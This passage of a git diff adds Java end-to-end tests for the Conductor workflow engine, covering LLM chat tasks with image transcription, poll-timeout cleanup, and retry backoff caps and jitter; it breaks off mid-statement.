Tool spec helper + // ==================================================================== + + /** + * Standard weather tool used by both the Anthropic and OpenAI tool-calling tests so the + * comparison is apples-to-apples. The schema matches the shape both providers' adapters convert + * into their native tool definitions. + */ + private static Map weatherTool() { + return Map.of( + "name", "get_weather", + "description", "Get the current weather for a location", + "inputSchema", + Map.of( + "type", "object", + "properties", + Map.of( + "location", + Map.of( + "type", "string", + "description", "City name")), + "required", List.of("location"))); + } + + // ==================================================================== + // Workflow execution + assertion helpers + // ==================================================================== + + /** + * Workflow whose chat task takes the entire {@code messages} array from workflow input — for + * tests that need per-run message content (e.g. media attachments), unlike {@link + * #registerHistoryWorkflow} which pins a fixed conversation in the definition. + */ + private void registerMessagesWorkflow(String name) { + ensureLLMChatCompleteTaskDef(); + + WorkflowTask chat = new WorkflowTask(); + chat.setName("LLM_CHAT_COMPLETE"); + chat.setTaskReferenceName("chat"); + chat.setType("LLM_CHAT_COMPLETE"); + Map inputParameters = new HashMap<>(); + inputParameters.put("llmProvider", "${workflow.input.llmProvider}"); + inputParameters.put("model", "${workflow.input.model}"); + inputParameters.put("messages", "${workflow.input.messages}"); + chat.setInputParameters(inputParameters); + + WorkflowDef def = new WorkflowDef(); + def.setName(name); + def.setVersion(1); + def.setOwnerEmail("ai-e2e@conductor.test"); + def.setTasks(List.of(chat)); + metadataClient.updateWorkflowDefs(List.of(def)); + } + + /** The transcription conversation, with or without the token image attached. */ + private static List> transcribeMessages(boolean withMedia) { + return List.of( + withMedia + ? Map.of( + "role", + "user", + "message", + TRANSCRIBE_PROMPT, + "media", + List.of(TOKEN_IMAGE_URL), + "mimeType", + "image/png") + : Map.of("role", "user", "message", TRANSCRIBE_PROMPT)); + } + + /** + * Asserts the chat task completed and, depending on whether the image was attached, that the + * embedded token was (or was not) transcribed. Normalizes case and punctuation so model + * formatting quirks don't flake the assertion. + */ + private static void assertTranscribed(Workflow wf, boolean expectToken) { + Task chat = chatTasks(wf).get(0); + assertEquals( + Task.Status.COMPLETED, + chat.getStatus(), + "chat task must complete; reason: " + chat.getReasonForIncompletion()); + String result = String.valueOf(chat.getOutputData().get("result")); + String normalized = result.toUpperCase(Locale.ROOT).replaceAll("[^A-Z0-9]", ""); + if (expectToken) { + assertTrue( + normalized.contains(IMAGE_SECRET_TOKEN), + "the model must transcribe the embedded token '" + + IMAGE_SECRET_TOKEN + + "' from the image; got: " + + result); + } else { + assertFalse( + normalized.contains(IMAGE_SECRET_TOKEN), + "without media the token must not appear — it can only come from the" + + " image; got: " + + result); + } + } + + private Workflow runAndWait(String wfName, Map input, int maxSeconds) { + StartWorkflowRequest req = new StartWorkflowRequest(); + req.setName(wfName); + req.setVersion(1); + req.setInput(input); + String workflowId = workflowClient.startWorkflow(req); + log.info("Started workflow name={} id={}", wfName, workflowId); + + await().pollInterval(2, TimeUnit.SECONDS) + .atMost(maxSeconds, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertNotNull(wf); + assertNotNull(wf.getStatus()); + assertTrue( + wf.getStatus().isTerminal(), + "workflow not terminal yet: " + wf.getStatus()); + }); + + Workflow finished = workflowClient.getWorkflow(workflowId, true); + assertEquals( + Workflow.WorkflowStatus.COMPLETED, + finished.getStatus(), + "workflow must complete; tasks: " + finished.getTasks()); + return finished; + } + + private static void assertChatCompletedWithAnswer(Workflow wf, String expectedSubstring) { + Task chat = + wf.getTasks().stream() + .filter(t -> "LLM_CHAT_COMPLETE".equals(t.getTaskType())) + .findFirst() + .orElseThrow( + () -> new AssertionError("no LLM_CHAT_COMPLETE task in " + wf)); + assertEquals(Task.Status.COMPLETED, chat.getStatus(), "chat task must complete"); + Object result = chat.getOutputData().get("result"); + assertNotNull(result, "expected `result` on task output"); + assertTrue( + result.toString().contains(expectedSubstring), + "expected model output to contain '" + expectedSubstring + "'; got: " + result); + } + + private static List chatTasks(Workflow wf) { + return wf.getTasks().stream() + .filter(t -> "LLM_CHAT_COMPLETE".equals(t.getTaskType())) + .toList(); + } +} diff --git a/e2e/src/test/java/io/conductor/e2e/task/PollTimeoutTests.java b/e2e/src/test/java/io/conductor/e2e/task/PollTimeoutTests.java new file mode 100644 index 0000000..c8f30ca --- /dev/null +++ b/e2e/src/test/java/io/conductor/e2e/task/PollTimeoutTests.java @@ -0,0 +1,88 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.conductor.e2e.task; + +import java.util.concurrent.TimeUnit; + +import org.junit.jupiter.api.Disabled; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.common.config.ObjectMapperProvider; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; + +import io.conductor.e2e.util.ApiUtil; +import lombok.SneakyThrows; + +import static io.conductor.e2e.util.TestUtil.getResourceAsString; +import static org.awaitility.Awaitility.await; +import static org.junit.jupiter.api.Assertions.*; + +public class PollTimeoutTests { + + private static final String TASK_NAME = "let_it_poll_timeout"; + + @Test + @Disabled( + "Postgres-backed queue does not drain tasks from terminated workflows within the required 60s cleanup window; postgres queue cleanup is non-deterministic and can take several minutes") + @SneakyThrows + public void testPollTimeout() { + var workflowClient = ApiUtil.WORKFLOW_CLIENT; + var taskClient = ApiUtil.TASK_CLIENT; + + // Clean up any leftover workflows from previous runs + var searchResult = + workflowClient.search( + 0, + 1000, + "", + "*", + "workflowType IN (timed_out_task) AND status IN (RUNNING)"); + searchResult + .getResults() + .forEach( + w -> { + try { + workflowClient.terminateWorkflow(w.getWorkflowId(), "e2e cleanup"); + } catch (Exception ignored) { + } + }); + // In conductor-oss with postgres queue, task cleanup after termination may take up to 60s + await().atMost(60, TimeUnit.SECONDS) + .until(() -> taskClient.getQueueSizeForTask(TASK_NAME) == 0); + + var taskInQueue = taskClient.getQueueSizeForTask(TASK_NAME); + assertEquals(0, taskInQueue, "Task queue size should be zero but it was " + taskInQueue); + + var mapper = new ObjectMapperProvider().getObjectMapper(); + var wf = + mapper.readValue( + getResourceAsString("metadata/timed-out-tasks-not-removed.json"), + WorkflowDef.class); + + var startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(wf.getName()); + startWorkflowRequest.setWorkflowDef(wf); + + var workflowId = workflowClient.startWorkflow(startWorkflowRequest); + assertNotNull(workflowId); + await().untilAsserted(() -> assertTrue(taskClient.getQueueSizeForTask(TASK_NAME) > 0)); + for (int i = 0; i < 5; i++) { + Thread.sleep(3_000); + workflowClient.runDecider(workflowId); + } + + taskInQueue = taskClient.getQueueSizeForTask(TASK_NAME); + assertEquals(0, taskInQueue, "Task queue size should be zero but it was " + taskInQueue); + } +} diff --git a/e2e/src/test/java/io/conductor/e2e/task/RetryPolicyTests.java b/e2e/src/test/java/io/conductor/e2e/task/RetryPolicyTests.java new file mode 100644 index 0000000..3742687 --- /dev/null +++ b/e2e/src/test/java/io/conductor/e2e/task/RetryPolicyTests.java @@ -0,0 +1,1223 @@ +/* + * Copyright 2025 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.conductor.e2e.task; + +import java.net.URI; +import java.net.http.HttpClient; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Set; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.CountDownLatch; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.atomic.AtomicReference; + +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.client.automator.TaskRunnerConfigurer; +import com.netflix.conductor.client.http.MetadataClient; +import com.netflix.conductor.client.http.TaskClient; +import com.netflix.conductor.client.http.WorkflowClient; +import com.netflix.conductor.client.worker.Worker; +import com.netflix.conductor.common.config.ObjectMapperProvider; +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.common.run.Workflow; + +import com.fasterxml.jackson.databind.ObjectMapper; +import io.conductor.e2e.util.ApiUtil; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; + +import static org.awaitility.Awaitility.await; +import static org.junit.jupiter.api.Assertions.*; + +/** + * End-to-end tests for retry policy features: + * + *

      + *
    • {@code maxRetryDelaySeconds} — caps the computed backoff; cap=0 means disabled + *
    • {@code backoffJitterMs} — random [0, max] ms added per retry to spread thundering herds + *
    • Poll gap fix — decider queue updated on SCHEDULED→IN_PROGRESS to reflect response timeout + *
    + * + *

    Task defs are registered via raw HTTP JSON because the published conductor-client SDK predates + * these fields. All workflow/task operations use the standard SDK clients. + * + *

    Inspection strategy: {@code callbackAfterSeconds} is read from a SCHEDULED retry task before + * it is polled (polling resets the field to 0). Actual queue timing verifies jitter and poll-gap + * behavior. + */ +@Slf4j +public class RetryPolicyTests { + + static WorkflowClient workflowClient; + static TaskClient taskClient; + static MetadataClient metadataClient; + static HttpClient httpClient; + static ObjectMapper objectMapper; + + @BeforeAll + static void init() { + workflowClient = ApiUtil.WORKFLOW_CLIENT; + taskClient = ApiUtil.TASK_CLIENT; + metadataClient = ApiUtil.METADATA_CLIENT; + httpClient = HttpClient.newHttpClient(); + objectMapper = new ObjectMapperProvider().getObjectMapper(); + } + + // ------------------------------------------------------------------------- + // Helpers + // ------------------------------------------------------------------------- + + @SneakyThrows + private void registerTaskDef(Map fields) { + String json = objectMapper.writeValueAsString(List.of(fields)); + HttpRequest req = + HttpRequest.newBuilder() + .uri(URI.create(ApiUtil.SERVER_ROOT_URI + "/metadata/taskdefs")) + .header("Content-Type", "application/json") + .POST(HttpRequest.BodyPublishers.ofString(json)) + .build(); + HttpResponse res = httpClient.send(req, HttpResponse.BodyHandlers.ofString()); + assertTrue( + res.statusCode() < 300, + "Task def registration failed " + res.statusCode() + ": " + res.body()); + } + + private Map taskDefBase(String name) { + Map m = new HashMap<>(); + m.put("name", name); + m.put("ownerEmail", "test@conductor.io"); + m.put("timeoutSeconds", 600); + m.put("responseTimeoutSeconds", 600); + m.put("retryCount", 5); + return m; + } + + private void registerWorkflow(String workflowName, String taskType) { + WorkflowTask wfTask = new WorkflowTask(); + wfTask.setName(taskType); + wfTask.setTaskReferenceName(taskType + "_ref"); + wfTask.setWorkflowTaskType(TaskType.SIMPLE); + + WorkflowDef wfDef = new WorkflowDef(); + wfDef.setName(workflowName); + wfDef.setVersion(1); + wfDef.setOwnerEmail("test@conductor.io"); + wfDef.setTimeoutSeconds(600); + wfDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.ALERT_ONLY); + wfDef.setTasks(List.of(wfTask)); + metadataClient.updateWorkflowDefs(List.of(wfDef)); + } + + private String startWorkflow(String name) { + return workflowClient.startWorkflow( + new StartWorkflowRequest().withName(name).withVersion(1).withInput(Map.of())); + } + + /** Polls until one task is available; blocks up to 20 s. */ + private Task pollTask(String taskType) { + return await().atMost(20, TimeUnit.SECONDS) + .pollInterval(200, TimeUnit.MILLISECONDS) + .until( + () -> { + List t = + taskClient.batchPollTasksByTaskType( + taskType, "e2e-worker", 1, 500); + return t.isEmpty() ? null : t.get(0); + }, + t -> t != null); + } + + private void failTask(String wfId, String taskId) { + TaskResult r = new TaskResult(); + r.setWorkflowInstanceId(wfId); + r.setTaskId(taskId); + r.setStatus(TaskResult.Status.FAILED); + r.setReasonForIncompletion("e2e retry policy test"); + taskClient.updateTask(r); + } + + private void completeTask(String wfId, String taskId) { + TaskResult r = new TaskResult(); + r.setWorkflowInstanceId(wfId); + r.setTaskId(taskId); + r.setStatus(TaskResult.Status.COMPLETED); + taskClient.updateTask(r); + } + + /** Returns the first SCHEDULED task in the workflow once it has ≥ minCount tasks. */ + private Task awaitScheduledRetry(String wfId, int minCount) { + return await().atMost(10, TimeUnit.SECONDS) + .pollInterval(200, TimeUnit.MILLISECONDS) + .until( + () -> { + Workflow wf = workflowClient.getWorkflow(wfId, true); + if (wf.getTasks().size() < minCount) return null; + return wf.getTasks().stream() + .filter(t -> t.getStatus() == Task.Status.SCHEDULED) + .findFirst() + .orElse(null); + }, + t -> t != null); + } + + private void awaitCompleted(String wfId) { + await().atMost(20, TimeUnit.SECONDS) + .untilAsserted( + () -> + assertEquals( + Workflow.WorkflowStatus.COMPLETED, + workflowClient.getWorkflow(wfId, false).getStatus(), + "workflow " + wfId + " did not complete")); + } + + // ========================================================================= + // maxRetryDelaySeconds + // ========================================================================= + + @Test + @DisplayName("EXPONENTIAL_BACKOFF: delays grow then are capped by maxRetryDelaySeconds") + void testMaxRetryDelaySeconds_exponential() { + String tt = "e2e-exp-cap-task", wf = "e2e-exp-cap-wf"; + // base=1s, cap=3s: retry1=1s, retry2=2s, retry3=4s→3s + Map def = taskDefBase(tt); + def.put("retryDelaySeconds", 1); + def.put("retryLogic", "EXPONENTIAL_BACKOFF"); + def.put("maxRetryDelaySeconds", 3); + registerTaskDef(def); + registerWorkflow(wf, tt); + + String wfId = startWorkflow(wf); + + failTask(wfId, pollTask(tt).getTaskId()); + assertEquals( + 1L, + awaitScheduledRetry(wfId, 2).getCallbackAfterSeconds(), + "retry1: 1×2⁰=1s (below cap 3s)"); + + failTask(wfId, pollTask(tt).getTaskId()); + assertEquals( + 2L, + awaitScheduledRetry(wfId, 3).getCallbackAfterSeconds(), + "retry2: 1×2¹=2s (below cap 3s)"); + + failTask(wfId, pollTask(tt).getTaskId()); + assertEquals( + 3L, + awaitScheduledRetry(wfId, 4).getCallbackAfterSeconds(), + "retry3: 1×2²=4s → capped to 3s"); + + completeTask(wfId, pollTask(tt).getTaskId()); + awaitCompleted(wfId); + } + + @Test + @DisplayName("LINEAR_BACKOFF: delays grow then are capped by maxRetryDelaySeconds") + void testMaxRetryDelaySeconds_linear() { + String tt = "e2e-lin-cap-task", wf = "e2e-lin-cap-wf"; + // base=1s, scale=2, cap=3s: retry1=2s, retry2=4s→3s + Map def = taskDefBase(tt); + def.put("retryDelaySeconds", 1); + def.put("retryLogic", "LINEAR_BACKOFF"); + def.put("backoffScaleFactor", 2); + def.put("maxRetryDelaySeconds", 3); + registerTaskDef(def); + registerWorkflow(wf, tt); + + String wfId = startWorkflow(wf); + + failTask(wfId, pollTask(tt).getTaskId()); + assertEquals( + 2L, + awaitScheduledRetry(wfId, 2).getCallbackAfterSeconds(), + "retry1: 1×2×1=2s (below cap 3s)"); + + failTask(wfId, pollTask(tt).getTaskId()); + assertEquals( + 3L, + awaitScheduledRetry(wfId, 3).getCallbackAfterSeconds(), + "retry2: 1×2×2=4s → capped to 3s"); + + completeTask(wfId, pollTask(tt).getTaskId()); + awaitCompleted(wfId); + } + + // --- Boundary: cap = 0 means no cap (backward compat) --- + + @Test + @DisplayName("cap=0 means no cap: delays grow without bound (backward compat)") + void testMaxRetryDelaySeconds_zeroMeansNoCapApplied() { + String tt = "e2e-no-cap-task", wf = "e2e-no-cap-wf"; + // base=1s, no cap: retry1=1s, retry2=2s, retry3=4s (all uncapped) + Map def = taskDefBase(tt); + def.put("retryDelaySeconds", 1); + def.put("retryLogic", "EXPONENTIAL_BACKOFF"); + def.put("maxRetryDelaySeconds", 0); // disabled + registerTaskDef(def); + registerWorkflow(wf, tt); + + String wfId = startWorkflow(wf); + + failTask(wfId, pollTask(tt).getTaskId()); + assertEquals(1L, awaitScheduledRetry(wfId, 2).getCallbackAfterSeconds()); + + failTask(wfId, pollTask(tt).getTaskId()); + assertEquals(2L, awaitScheduledRetry(wfId, 3).getCallbackAfterSeconds()); + + failTask(wfId, pollTask(tt).getTaskId()); + // Without cap, retry3 = 1×2²=4s (not capped to any lower value) + assertEquals( + 4L, + awaitScheduledRetry(wfId, 4).getCallbackAfterSeconds(), + "cap=0 must be treated as disabled: delay should be uncapped 4s"); + + completeTask(wfId, pollTask(tt).getTaskId()); + awaitCompleted(wfId); + } + + // --- Boundary: cap < retryDelaySeconds → cap fires immediately from retry 0 --- + + @Test + @DisplayName("cap < retryDelaySeconds: cap applied from the very first retry") + void testMaxRetryDelaySeconds_capLessThanBaseDelay() { + String tt = "e2e-cap-lt-base-task", wf = "e2e-cap-lt-base-wf"; + // base=5s, cap=2s: every retry is capped to 2s even FIXED + Map def = taskDefBase(tt); + def.put("retryDelaySeconds", 5); + def.put("retryLogic", "FIXED"); + def.put("maxRetryDelaySeconds", 2); + registerTaskDef(def); + registerWorkflow(wf, tt); + + String wfId = startWorkflow(wf); + + failTask(wfId, pollTask(tt).getTaskId()); + assertEquals( + 2L, + awaitScheduledRetry(wfId, 2).getCallbackAfterSeconds(), + "FIXED base=5s capped immediately to 2s"); + + failTask(wfId, pollTask(tt).getTaskId()); + assertEquals( + 2L, + awaitScheduledRetry(wfId, 3).getCallbackAfterSeconds(), + "All retries capped at 2s"); + + completeTask(wfId, pollTask(tt).getTaskId()); + awaitCompleted(wfId); + } + + // --- Boundary: cap = retryDelaySeconds → effective from retry 0 --- + + @Test + @DisplayName("cap=retryDelaySeconds: cap matches base, all retries at ceiling from start") + void testMaxRetryDelaySeconds_capEqualsBase() { + String tt = "e2e-cap-eq-base-task", wf = "e2e-cap-eq-base-wf"; + // base=2s, scale=2, LINEAR, cap=2s: retry1=2s(capped), retry2=4s→2s, etc. + Map def = taskDefBase(tt); + def.put("retryDelaySeconds", 2); + def.put("retryLogic", "LINEAR_BACKOFF"); + def.put("backoffScaleFactor", 2); + def.put("maxRetryDelaySeconds", 2); // equals first retry raw value + registerTaskDef(def); + registerWorkflow(wf, tt); + + String wfId = startWorkflow(wf); + + failTask(wfId, pollTask(tt).getTaskId()); + // retry1 raw=2×2×1=4s → capped to 2s + assertEquals(2L, awaitScheduledRetry(wfId, 2).getCallbackAfterSeconds()); + + failTask(wfId, pollTask(tt).getTaskId()); + // retry2 raw=2×2×2=8s → capped to 2s + assertEquals(2L, awaitScheduledRetry(wfId, 3).getCallbackAfterSeconds()); + + completeTask(wfId, pollTask(tt).getTaskId()); + awaitCompleted(wfId); + } + + // ========================================================================= + // backoffJitterMs + // ========================================================================= + + @Test + @DisplayName("FIXED backoff: callbackAfterSeconds=base; queue delay in [base, base+jitter]") + void testBackoffJitterMs_fixed() { + String tt = "e2e-jitter-fixed-task", wf = "e2e-jitter-fixed-wf"; + Map def = taskDefBase(tt); + def.put("retryDelaySeconds", 2); + def.put("retryLogic", "FIXED"); + def.put("backoffJitterMs", 1000); + registerTaskDef(def); + registerWorkflow(wf, tt); + + String wfId = startWorkflow(wf); + failTask(wfId, pollTask(tt).getTaskId()); + + Task retry = awaitScheduledRetry(wfId, 2); + assertEquals( + 2L, + retry.getCallbackAfterSeconds(), + "callbackAfterSeconds must equal the base delay; jitter lives in callbackAfterMs"); + + long scheduledAt = retry.getScheduledTime(); + Task retried = pollTask(tt); + long queueDelay = System.currentTimeMillis() - scheduledAt; + assertTrue(queueDelay >= 2000, "Must wait at least base 2s; was " + queueDelay + "ms"); + assertTrue( + queueDelay < 5000, + "Must not exceed base+jitter+overhead; was " + queueDelay + "ms"); + + completeTask(wfId, retried.getTaskId()); + awaitCompleted(wfId); + } + + @Test + @DisplayName("EXPONENTIAL_BACKOFF: jitter adds on top of each exponentially growing delay") + void testBackoffJitterMs_exponential() { + String tt = "e2e-jitter-exp-task", wf = "e2e-jitter-exp-wf"; + // base=1s, jitter=500ms, exponential: retry1=1s±500ms, retry2=2s±500ms + Map def = taskDefBase(tt); + def.put("retryDelaySeconds", 1); + def.put("retryLogic", "EXPONENTIAL_BACKOFF"); + def.put("backoffJitterMs", 500); + registerTaskDef(def); + registerWorkflow(wf, tt); + + String wfId = startWorkflow(wf); + + // retry 0 → retry 1 (base=1s, jitter up to 500ms) + failTask(wfId, pollTask(tt).getTaskId()); + Task retry1 = awaitScheduledRetry(wfId, 2); + assertEquals(1L, retry1.getCallbackAfterSeconds()); + + long scheduledAt1 = retry1.getScheduledTime(); + Task task1 = pollTask(tt); + long delay1 = System.currentTimeMillis() - scheduledAt1; + assertTrue(delay1 >= 1000, "retry1 queue delay must be >= 1s; was " + delay1 + "ms"); + assertTrue(delay1 < 3000, "retry1 delay must be < 3s; was " + delay1 + "ms"); + + // retry 1 → retry 2 (base=2s, jitter up to 500ms) + failTask(wfId, task1.getTaskId()); + Task retry2 = awaitScheduledRetry(wfId, 3); + assertEquals(2L, retry2.getCallbackAfterSeconds()); + + long scheduledAt2 = retry2.getScheduledTime(); + Task task2 = pollTask(tt); + long delay2 = System.currentTimeMillis() - scheduledAt2; + assertTrue(delay2 >= 2000, "retry2 queue delay must be >= 2s; was " + delay2 + "ms"); + assertTrue(delay2 < 4000, "retry2 delay must be < 4s; was " + delay2 + "ms"); + + completeTask(wfId, task2.getTaskId()); + awaitCompleted(wfId); + } + + @Test + @DisplayName("LINEAR_BACKOFF: jitter adds on top of each linearly growing delay") + void testBackoffJitterMs_linear() { + String tt = "e2e-jitter-lin-task", wf = "e2e-jitter-lin-wf"; + // base=1s, scale=2, jitter=500ms: retry1=2s±500ms, retry2=4s±500ms + Map def = taskDefBase(tt); + def.put("retryDelaySeconds", 1); + def.put("retryLogic", "LINEAR_BACKOFF"); + def.put("backoffScaleFactor", 2); + def.put("backoffJitterMs", 500); + registerTaskDef(def); + registerWorkflow(wf, tt); + + String wfId = startWorkflow(wf); + + failTask(wfId, pollTask(tt).getTaskId()); + Task retry1 = awaitScheduledRetry(wfId, 2); + assertEquals(2L, retry1.getCallbackAfterSeconds()); + + long s1 = retry1.getScheduledTime(); + Task t1 = pollTask(tt); + long d1 = System.currentTimeMillis() - s1; + assertTrue( + d1 >= 2000 && d1 < 4000, + "retry1 queue delay should be in [2s, 4s]; was " + d1 + "ms"); + + completeTask(wfId, t1.getTaskId()); + awaitCompleted(wfId); + } + + @Test + @DisplayName("jitter=0: exact base delay, no random spread") + void testBackoffJitterMs_zero() { + String tt = "e2e-no-jitter-task", wf = "e2e-no-jitter-wf"; + Map def = taskDefBase(tt); + def.put("retryDelaySeconds", 2); + def.put("retryLogic", "FIXED"); + def.put("backoffJitterMs", 0); + registerTaskDef(def); + registerWorkflow(wf, tt); + + String wfId = startWorkflow(wf); + failTask(wfId, pollTask(tt).getTaskId()); + + Task retry = awaitScheduledRetry(wfId, 2); + assertEquals(2L, retry.getCallbackAfterSeconds()); + + long s = retry.getScheduledTime(); + Task t = pollTask(tt); + long d = System.currentTimeMillis() - s; + assertTrue(d >= 2000, "Must wait at least 2s base; was " + d + "ms"); + assertTrue(d < 4000, "With zero jitter should be close to 2s; was " + d + "ms"); + + completeTask(wfId, t.getTaskId()); + awaitCompleted(wfId); + } + + // --- Boundary: minimum positive jitter --- + + @Test + @DisplayName("jitter=1ms (minimum): task still retried correctly, minimal spread") + void testBackoffJitterMs_minimumOnems() { + String tt = "e2e-jitter-1ms-task", wf = "e2e-jitter-1ms-wf"; + Map def = taskDefBase(tt); + def.put("retryDelaySeconds", 2); + def.put("retryLogic", "FIXED"); + def.put("backoffJitterMs", 1); // 1 ms jitter — barely above zero + registerTaskDef(def); + registerWorkflow(wf, tt); + + String wfId = startWorkflow(wf); + failTask(wfId, pollTask(tt).getTaskId()); + + Task retry = awaitScheduledRetry(wfId, 2); + assertEquals(2L, retry.getCallbackAfterSeconds()); + + // queue delay: base 2s ± 1ms → effectively 2s + long s = retry.getScheduledTime(); + Task t = pollTask(tt); + long d = System.currentTimeMillis() - s; + assertTrue( + d >= 2000 && d < 4000, + "1ms jitter should not significantly change timing; was " + d + "ms"); + + completeTask(wfId, t.getTaskId()); + awaitCompleted(wfId); + } + + // --- Combined cap + jitter --- + + @Test + @DisplayName( + "Cap applied before jitter: callbackAfterSeconds=cap; queue delay in [cap, cap+jitter]") + void testMaxRetryDelaySeconds_withJitter() { + String tt = "e2e-cap-jitter-task", wf = "e2e-cap-jitter-wf"; + // base=1s, cap=3s, jitter=500ms; at retry3: 4s→3s, queue delay in [3s, 3.5s] + Map def = taskDefBase(tt); + def.put("retryDelaySeconds", 1); + def.put("retryLogic", "EXPONENTIAL_BACKOFF"); + def.put("maxRetryDelaySeconds", 3); + def.put("backoffJitterMs", 500); + registerTaskDef(def); + registerWorkflow(wf, tt); + + String wfId = startWorkflow(wf); + + failTask(wfId, pollTask(tt).getTaskId()); + assertEquals(1L, awaitScheduledRetry(wfId, 2).getCallbackAfterSeconds()); + + failTask(wfId, pollTask(tt).getTaskId()); + assertEquals(2L, awaitScheduledRetry(wfId, 3).getCallbackAfterSeconds()); + + // retry 2 → retry 3: raw=4s → capped=3s; queue delay in [3000, 3500]ms + failTask(wfId, pollTask(tt).getTaskId()); + Task retry3 = awaitScheduledRetry(wfId, 4); + assertEquals( + 3L, + retry3.getCallbackAfterSeconds(), + "callbackAfterSeconds reflects cap (3s), not raw (4s)"); + + long s = retry3.getScheduledTime(); + Task t = pollTask(tt); + long d = System.currentTimeMillis() - s; + assertTrue(d >= 3000, "Queue delay must be ≥ cap 3s; was " + d + "ms"); + assertTrue(d < 5000, "Queue delay must be < cap+jitter+overhead; was " + d + "ms"); + + completeTask(wfId, t.getTaskId()); + awaitCompleted(wfId); + } + + // ========================================================================= + // Concurrency: jitter spreads retries across time + // + // The core thundering-herd protection test: N workflows fail their tasks + // simultaneously. With jitter, each retry task should become available at a + // different time. We verify this by recording poll timestamps — if all tasks + // were delivered at the same moment (no jitter), they would all be polled in + // the same batch; with jitter they must spread across multiple batches. + // ========================================================================= + + @Test + @DisplayName("Concurrency: jitter spreads N simultaneous retries across the jitter window") + void testConcurrentRetries_jitterSpreadsRetryTimes() throws InterruptedException { + final int N = 5; + String tt = "e2e-concurrent-jitter-task", wf = "e2e-concurrent-jitter-wf"; + + // base=1s, jitter=3000ms — large jitter relative to base to make spread observable + Map def = taskDefBase(tt); + def.put("retryDelaySeconds", 1); + def.put("retryLogic", "FIXED"); + def.put("backoffJitterMs", 3000); + registerTaskDef(def); + registerWorkflow(wf, tt); + + // Start N workflows simultaneously + List wfIds = new ArrayList<>(); + for (int i = 0; i < N; i++) wfIds.add(startWorkflow(wf)); + + // Poll and fail all initial tasks concurrently so retries are scheduled at the same + // instant. + // Use the task's own workflowInstanceId (not the lambda-captured id) so that the server + // calls decide() on the correct workflow and schedules the retry. + ExecutorService pool = Executors.newFixedThreadPool(N); + CountDownLatch allFailed = new CountDownLatch(N); + for (int i = 0; i < N; i++) { + pool.submit( + () -> { + try { + Task t = pollTask(tt); + failTask(t.getWorkflowInstanceId(), t.getTaskId()); + } finally { + allFailed.countDown(); + } + }); + } + assertTrue(allFailed.await(30, TimeUnit.SECONDS), "All tasks failed within timeout"); + pool.shutdown(); + + // Collect timestamps of when each retry task first becomes poppable. + // Track tasksPolled (termination condition) separately from pollTimestampsSeconds (jitter + // spread check) — the set only grows when a new second-bucket is seen, so it cannot be + // used as a task counter. + int tasksPolled = 0; + Set pollTimestampsSeconds = ConcurrentHashMap.newKeySet(); + long start = System.currentTimeMillis(); + while (tasksPolled < N && System.currentTimeMillis() - start < 31_000) { + List batch = + taskClient.batchPollTasksByTaskType(tt, "e2e-concurrency-worker", N, 500); + long nowSec = System.currentTimeMillis() / 1000; + for (Task t : batch) { + pollTimestampsSeconds.add(nowSec); + tasksPolled++; + completeTask(t.getWorkflowInstanceId(), t.getTaskId()); + } + if (batch.isEmpty()) Thread.sleep(200); + } + + assertEquals(N, tasksPolled, "All " + N + " retry tasks must eventually be polled"); + + // With 3s jitter and N=5 tasks, it's statistically very unlikely that all tasks become + // available in the exact same second bucket if jitter is truly random. + // We assert that tasks spread across at least 2 distinct second-buckets. + // (P(all same bucket) ≈ (1/3)^4 ≈ 1.2% with uniform jitter over 3s) + assertTrue( + pollTimestampsSeconds.size() >= 2 || N == 1, + "With " + + N + + " tasks and 3s jitter, retries must spread across ≥2 second-buckets. " + + "All " + + N + + " tasks appeared in the same second — jitter may not be applied."); + } + + @Test + @DisplayName("Concurrency: N workflows with cap+jitter all complete correctly") + void testConcurrentRetries_capAndJitter_allWorkflowsComplete() throws InterruptedException { + final int N = 4; + String tt = "e2e-concurrent-cap-jitter-task", wf = "e2e-concurrent-cap-jitter-wf"; + + // base=1s, cap=2s, jitter=500ms + Map def = taskDefBase(tt); + def.put("retryDelaySeconds", 1); + def.put("retryLogic", "EXPONENTIAL_BACKOFF"); + def.put("maxRetryDelaySeconds", 2); + def.put("backoffJitterMs", 500); + registerTaskDef(def); + registerWorkflow(wf, tt); + + List wfIds = new ArrayList<>(); + for (int i = 0; i < N; i++) wfIds.add(startWorkflow(wf)); + + // Fail each initial task, then complete each retry — all under concurrent conditions. + // Poll the task first and derive the workflow ID from it so that failTask, + // awaitScheduledRetry, + // and completeTask all operate on the same workflow (not the lambda-captured id which may + // belong to a different workflow than the one whose task was polled). + ExecutorService pool = 